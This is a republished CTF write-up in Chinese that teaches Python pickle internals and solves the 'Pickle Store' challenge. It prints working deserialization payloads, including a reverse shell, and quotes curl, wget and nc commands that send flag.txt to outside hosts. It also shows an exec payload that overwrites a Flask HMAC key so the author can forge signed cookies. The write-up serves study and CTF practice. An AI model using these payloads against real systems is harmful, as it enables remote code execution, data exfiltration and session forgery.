利用python反序列化覆盖秘钥——watevrCTF-2019:Pickle Store的第二种解法
2020-03-06 10:17:34 Author: xz.aliyun.com(查看原文) 阅读量:350 收藏

buuctf前段时间上了一道python 反序列化的题目,花了两天时间研究了一下,发现了两种解法,学习了一波python反序列化的知识,踩了一些坑,来和各位师傅分享一下吧。


界面是ctf常见的购物类web,不过这次的主角变成黄瓜:-D,我们需要的flag黄瓜价值1000元,但我们口袋里只有500块,我们的余额、购物信息存储在cookie中

随便将cookie的值删掉几个字符,刷新一下,结果返回500错误

显然,服务端采用了某种加密方式来对cookie做了加密或签名,起初我以为是padding oracle,直到看到burpsuite里的python序列化数据报警:

那么将cookie的值用下列代码反序列化显示出来:

#coding:utf8
import pickle
import base64

result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)

得到结果:

{'money': 500, 'history': [], 'anti_tamper_hmac': '2a40219086b4a9503dacd67594e88568'}

这是没有购买商品时的信息,如果购买了一个Standard Pickle,cookie经反序列化后信息是这样的:

{'money': 490, 'history': ['Yummy standard pickle'], 'anti_tamper_hmac': '5f6fdeafc711cbcec80c8453067012a9'}

可见其中带上了hmac验证。猜想本题应该与python反序列化有关,先来学习一波python反序列化知识,当然大佬可以跳过。

相较于php的反序列化,python的反序列化更容易利用,危害也更大。在php的反序列化漏洞利用中我们必须挖掘复杂的利用链,但python的序列化和反序列化中却不需要那么麻烦,因为python序列化出来的是pickle流,这是一种栈语言,python能够实现的功能它也能实现,引用一下pickle的简介:

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
PVM 由三部分组成:
指令处理器
从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。
最终留在栈顶的值将被作为反序列化对象返回。
stack
由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
memo
由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

来看一些示例:

先来看看一些简单类型的数据序列化后的样子:

import pickle
s = "abcd"
print(pickle.dumps(s))

在python2.7.15下运行该脚本的输出如下:

S'abcd'
p0
.

在python3.7.3下运行该脚本的输出如下:

b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

是不是很不一样,这是因为python2和python3实现的pickle协议版本不一样,python3实现的版本是第三版,其序列化后的bytes序列第二个字符即\x03就表示它的pickle版本为第三版。各个不同的版本实现的PVM操作码不同,但却是向下兼容的,比如上面python2序列化输出的字符串可以放在python3里正常反序列化,但python3序列化输出的字符串却不能让python2反序列化,下面代码可以验证这一点:

import pickle
s = b"S'abcd'\np0\n."
print(pickle.loads(s))

用python3运行该代码,可以正常输出abcd
不同pickle版本的操作码及其含义可以在python3的安装目录里搜索pickle.py查看,如下是一部分操作码:

强烈建议对PVM操作码不熟悉的同学打开这个文件边看边学,我就是这么学的。
因为本题使用的是py3,所以下面的讲解主要结合py3进行,详细解释一下上面py3输出的pickle流

b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

第一个字符\x80是一个操作码,pickle.py文件中的注释说明它的含义是用来声明pickle版本,后面跟着的\x03就代表了版本3;随后的X表示后面的四个字节代表了一个数字(小端序),即\x04\x00\x00\x00,值为4,表示下面跟着的utf8编码的字符串的长度,即后面跟着的abcd;再往后是q,这个没有查到详细的说明,看注释上的字面意思是后面即\x00是一个字节的参数,但也不知道这个有什么用,我猜测它是用来给参数做索引用的,索引存储在momo区,如果不需要用到取数据,可以把q\x00删掉,这并不影响反序列化,最后的.代表结束,这是每个pickle流末尾都会有的操作符。

来看看复杂类型的数据序列化后是什么样的:

a=("item1","item2")
b=["item1","item2"]
c={"key1":"value1","key2":"value2"}
print(pickle.dumps(a))
print(pickle.dumps(b))
print(pickle.dumps(c))

结果:

b'\x80\x03X\x05\x00\x00\x00item1q\x00X\x05\x00\x00\x00item2q\x01\x86q\x02.'
b'\x80\x03]q\x00(X\x05\x00\x00\x00item1q\x01X\x05\x00\x00\x00item2q\x02e.'
b'\x80\x03}q\x00(X\x04\x00\x00\x00key1q\x01X\x06\x00\x00\x00value1q\x02X\x04\x00\x00\x00key2q\x03X\x06\x00\x00\x00value2q\x04u.'

先来看tuple的pickle流,在栈上连续定义了两个字符串最后在结尾加了\x86这个操作码,其含义为"利用栈顶的两个元素(即前面的item1和item2)建立一个元组",后面的q\x02标识该元组在memo的索引,最后是.结束符。

再看list的pickle流,在版本声明的后面是一个]操作符,意思是在栈上建立一个空list,q\x00是这个列表在memo的索引,后面是一个(,这是一个很重要的操作符,它用来标记后面某个操作的参数的边界,在这里其实是用来告诉末尾的e(建立list的操作符),从(开始到e操作符前面的内容用来构建list,(标记前面的内容就不归e操作符管了。最后是.结束符。

最后来看dict的pickle流,在版本声明的后面是一个},表示在栈上建立一个空dict,q\x00表明了这个dict在memo区的索引,后面同样是(标记,后面按照先key后value的属性依次定义数据,并给每个数据定好memo区的索引,最后是u操作符,类似于上面的e操作符,它的含义为利用(标记到u之间的数据构建dict,最后是.操作符。

再来一个类吧:

class D:
    a = 'abcd'
    def hello(self):
        return 'hello'

d = D()
print(pickle.dumps(d))

输出:

b'\x80\x03c__main__\nD\nq\x00)\x81q\x01.'

注意版本声明后面是c操作符,它用来导入模块中的标识符,模块和标识符之间用\n隔开,那么这里的意思就是导入了main模块中的D类,后面的q\x00代表了D类在memo的索引,随后是)在栈上建立一个新的tuple,这个tuple存储的是新建对象时需要提供的参数,因为本例中不需要参数,所以这个tuple为空,后面是\x81操作符,该操作符调用cls.__new__方法来建立对象,该方法接受前面tuple中的参数,本例中为空,注意对象的pickle流中并没有存储对象的数据及方法,而只是存储了建立对象的过程,这和上面的数据类型不太一样。
上面介绍的都是一些数据类型的pickle流,之前说过pickle流能实现python所有的功能,那么怎么才能让pickle流在反序列化中运行任意代码呢,这里就要介绍类的__reduce__这个魔术方法,简单来说,这个方法用来表明类的对象应当如何序列化,当其返回tuple类型时就可以实现任意代码执行,例如下面的例子:

import pickle
import os
class A(object):
    def __reduce__(self):
        cmd = "whoami"
        return (os.system,(cmd,))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)

在linux上用python3运行该脚本,输出:

b'\x80\x03cposix\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'

并执行了whoami命令。
来细看一下这个pickle流,在声明版本后使用c操作符导入了posix模块中的system函数,posix模块是os模块在linux上的具体实现,随后是q\x00,标识system函数在memo区的索引,X\x06\x00\x00\x00标识后面whoami这个字符串的长度,q\x01标识whoami这个字符串在memo区的索引,\x85建立1个元素的元组,这个元素当然就是前面的whoami这个字符串,q\x02标识了这个元组在memo区的索引,R操作符标识运行栈顶的函数,就是前面的system,并把包含whoami的元组当做参数传递给它,后面的q\x03标识了运行的结果在memo区的索引?我不确定,但这并不重要,我们执行任意命令的目的已经达到了,最后是.结束符。
再来一个反弹shell的:

import pickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,)) 

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)

在本地nc监听1234端口,python3运行该脚本,反弹成功:

输出的pickle流:

b'\x80\x03cposix\nsystem\nq\x00X\xe1\x00\x00\x00python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'q\x01\x85q\x02Rq\x03.'

这次除了参数的长度比较长外,pickle流的结构和上一个例子是一样,就不说了。
说到这里顺便一提,涉及到调用操作系统命令的库的话,不同的平台上序列化出来的pickle流是不一样的,例如上一个脚本在windows上运行的话,输出就是:

b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'

这里导入的就是windows上os库的具体实现nt库,而不是linux上的posix库了,所以建议师傅们根据目标平台选择本地环境构造pickle流,防止出现无法运行系统命令的问题,我就在这点上踩了坑。

上面啰嗦了那么多,只是为了加深大家对pickle流的理解,其实在实际利用过程中,大部分情况下不需要我们手动构造pickle流,我们只需要掌握一些基本的技巧即可,来看题目吧。

对于本地,反弹shell是最简单粗暴的方法,不需要考虑细节,只需要将上面的payload改一改接收shell的地址,把输出的pickle流编码为base64,放入cookie发送即可,然而我并没有成功。。。我猜测可能是bash权限做了限制。后来和几位师傅交流了一下,抄了一下几位师傅的exp,成功了,向大家介绍一下:
P3rh4ps师傅的:

import pickle
import base64
class A(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('curl -d @flag.txt 174.0.157.204:2333')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

直接上传了flag.txt

ch4ser师傅的:

import os
class test(object):
    def __reduce__(self):
        return (os.system,("wget 'http://xss.buuoj.cn/index.php?do=api&id=Krwr7k' --post-data='location='`cat flag.txt` -O-",))

这里用到了buuctf的xss平台。

ice-cream师傅的:

import pickle
import base64
import os
class A(object):
    def __reduce__(self):
           return (os.system,('nc 174.0.166.111 2333  < flag.txt',))
a = A()
print(base64.b64encode(pickle.dumps(a)))

使用nc。

这里提醒一下不熟悉buuctf平台的师傅,buu的靶机不能反弹到外网,但是在https://buuoj.cn/challenges#Linux%20Labs
提供了可接受反弹的内网靶机,可以注册一个小号去开一个靶机接受信息。

总结一下几位师傅的exp都用到了系统命令执行以及信息外带,假如目标环境只能在web端口向外界提供信息或限制了系统命令执行,有没有办法呢,经过一天的研究,我发现是有办法的,下面来介绍解法二。

在介绍解法二之前,先提一个问题,假如py脚本中已经定义了一个变量key,而反序列化的pickle流中包含了给key赋值的操作,那么反序列化后key的值会被覆盖吗,我们来验证一下:

import pickle

key = b'11111111111111111111111111111111'
class A(object):
    def __reduce__(self):
        return (exec,("key=b'66666666666666666666666666666666'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)

输出:

b"\x80\x03cbuiltins\nexec\nq\x00X'\x00\x00\x00key=b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03."
b'66666666666666666666666666666666'

可见key的值被成功覆盖了!来看本题的源码,情况是类似的,同样也定义了key,

用该key去给cookie做了签名,也存在反序列化数据可控,

@application.route("/buy", methods=["POST"])
def buy():
    cookies = request.cookies.get("session")
    if not cookies:
        cookies = {"money": 500, "history": []}
    else:
        cookies = pickle.loads(base64.b64decode(cookies)) #这里可以利用反序列化覆盖key
        digest = cookies["anti_tamper_hmac"]
        del cookies["anti_tamper_hmac"]
        h = hmac.new(key)
        h.update(str(cookies).encode())
        if not hmac.compare_digest(h.digest().hex(), digest):
            cookies = {"money": 500, "history": []}

    assert "id" in request.form
    cookie_id = int(request.form["id"])
    if all_cookies[cookie_id]["price"] <= cookies["money"]:
        cookies["money"] -= all_cookies[cookie_id]["price"]
        cookies["history"].append(all_cookies[cookie_id]["text"])

    resp = make_response(redirect("/"))
    h = hmac.new(key)
    h.update(str(cookies).encode())
    cookies["anti_tamper_hmac"] = h.digest().hex()
    resp.set_cookie("session", base64.b64encode(pickle.dumps(cookies)))
    return resp

那么如果我们利用反序列化覆盖掉key,那么不就可以任意伪造cookie了吗?题目代码

然而当我在本地搭建此题的环境做测试时,却发现用上面的payload无法覆盖flask中key,想了很多办法几乎要放弃了,起初我以为是flask的实现比较特殊,睡了个午觉起来想想,猛然意识到flask中定义的key是全局变量,而反序列化操作却是在buy函数内部进行的,要使函数内的变量要覆盖全局变量的值,必须加global声明,所以修改上面的payload:

import pickle

key = b'11111111111111111111111111111111'
class A(object):
    def __reduce__(self):
        return (exec,("global key;key=b'66666666666666666666666666666666'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key)

输出的pickle流:

b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03."

再将输出的pickle流base64编码后发送给本地flask环境,key果然被成功覆盖了(调试的话可以在index或buy路由的反序列化代码后添加print(key)即可在flask服务端打印出key):


那么下一步就是用覆盖的key伪造cookie了,这次不需要用到调用函数,只需要把伪造的cookie序列化出来就可以了,所以用不到__reduce__了:

import pickle
import hmac

key=b'66666666666666666666666666666666'
cookies = {"money":10000,"history":[]}
h = hmac.new(key)
h.update(str(cookies).encode())
cookies["anti_tamper_hmac"] = h.digest().hex()
result2 = pickle.dumps(cookies)
print(result2)

这里把余额设置为10000,并用我们自己的key来给cookie做签名,得到的pickle流:

b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."

然后问题就来了,由于我们覆盖的key只能在本次请求中生效,所以我们伪造的cookie也必须在覆盖key的请求中一起发送过去,覆盖key的payload我们是使用__reduce__方式生成的,而伪造cookie的操作我们是直接序列化cookie生成的,怎么把这两个操作合并起来呢,这个payload应该怎么写呢,其实很简单,依据上面对pickle流的介绍:最终留在栈顶的值将被作为反序列化对象返回。所以我们只需要把第一个pickle流结尾表示结束的.去掉,把第二个pickle开头的版本声明去掉,两者拼接起来即可:
第一个pickle流:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}."
第二个pickle流:
b"\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
按所说方法拼接:
b"\x80\x03cbuiltins\nexec\nq\x00X4\x00\x00\x00global key;key = b'66666666666666666666666666666666'q\x01\x85q\x02Rq\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x10'X\x07\x00\x00\x00historyq\x02]q\x03X\x10\x00\x00\x00anti_tamper_hmacq\x04X \x00\x00\x00ccb487eec1cb66dda8d00a8121aeb4bfq\x05u."
base64编码后,抓下购买flag的包,修改其中的cookie发送:

将返回的cookie反序列化:

import pickle
import base64

print(pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTSgjWAcAAABoaXN0b3J5cQJdcQNYKwAAAGZsYWd7MjM1NzllOTMtNjBmNi00YWIyLWIyOGMtYjIxMTg1NDhjYTlmfQpxBGFYEAAAAGFudGlfdGFtcGVyX2htYWNxBVggAAAANzQ1ZmVkMjk1MmIzM2YwOGVhYjhiZWU4ZGI2NWE3ZTlxBnUu')))

输出flag:

或许有师傅会问,如果把定义cookie的语句也放到第一个exp的__reduce__中行不行?其实是不行的,因为采用__reduce__方式生成的pickle流在反序列化时返回的是None,而不是本题中我们需要的dict,后面的代码将会出错。

对于本题虽然第二种解法比第一种麻烦了许多,但其优势在于不需要用到OOB,可以适应限制更苛刻的比赛环境,更何况另辟蹊径解决问题不正是hacker的最大乐趣吗?
对于本文,虽然水出来了,还是有一些不太严谨的地方,主要在于没有找到可以调试pickle栈的工具,很多地方只能一点点摸索,有些地方是凭经验凭直觉猜的,如有错误希望各位师傅不要见怪,多多指点我。如果觉得对pickle流的介绍不够形象,可以看看这个
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf,
上面对pickle栈的演示更加形象。


文章来源: http://xz.aliyun.com/t/7320
如有侵权请联系:admin#unsafe.sh